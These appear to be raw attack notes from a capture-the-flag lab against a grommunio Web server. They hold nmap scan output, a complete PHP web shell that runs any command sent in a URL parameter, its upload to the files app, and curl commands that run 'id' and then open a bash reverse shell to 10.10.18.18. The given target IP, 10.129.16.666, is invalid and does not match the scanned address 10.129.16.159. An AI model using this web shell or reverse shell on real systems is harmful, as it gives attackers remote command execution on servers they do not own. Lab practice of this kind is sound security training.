[adolfo]

sudo nmap -sS -n -Pn --min-rate 3000 -p- 10.129.16.666 
[sudo] contraseña para adolf:
Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-17 16:29 -0300
Nmap scan report for 10.129.16.159
Host is up (0.19s latency).
Not shown: 65534 filtered tcp ports (no-response)
PORT    STATE SERVICE
443/tcp open  https

-

sudo nmap -sCV -n -Pn --min-rate 3000 -p443 10.129.16.666    
Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-17 16:33 -0300
Nmap scan report for 10.129.16.159
Host is up (0.21s latency).

PORT    STATE SERVICE  VERSION
443/tcp open  ssl/http nginx
| tls-alpn:
|  h2
|  http/1.1
|  http/1.0
|_  http/0.9
| http-title: grommunio Web
|_Requested resource was https://10.129.16.159/web/
| http-robots.txt: 1 disallowed entry
|_/
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=grommunio.autopilot.htb/organizationName=Autopilot/stateOrProvinceName=California/countryName=US
| Subject Alternative Name: DNS:grommunio.autopilot.htb, DNS:autodiscover.autopilot.htb, DNS:mail.autopilot.htb
| Not valid before: 2026-07-15T16:20:23
|_Not valid after:  2101-06-27T16:20:23

---

10.129.16.666  autopilot.htb mail.autopilot.htb

[adolfo]

- upload file shell.php
https://autopilot.htb/files/index.php/apps/files/files


- shell.php
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
</pre>
</body>
</html>

-

curl -ksSG \
  --resolve autopilot.htb:443:10.129.16.666 \
  --data-urlencode 'cmd=id' \
  'https://autopilot.htb/files/data/deborah.hernandez/files/shell.php'

-

curl -ksSG \
  --resolve autopilot.htb:443:10.129.16.666 \
  --data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/10.10.18.18/9666/ 0>&1"' \
  'https://autopilot.htb/files/data/deborah.hernandez/files/shell.php'


penelope -p 9666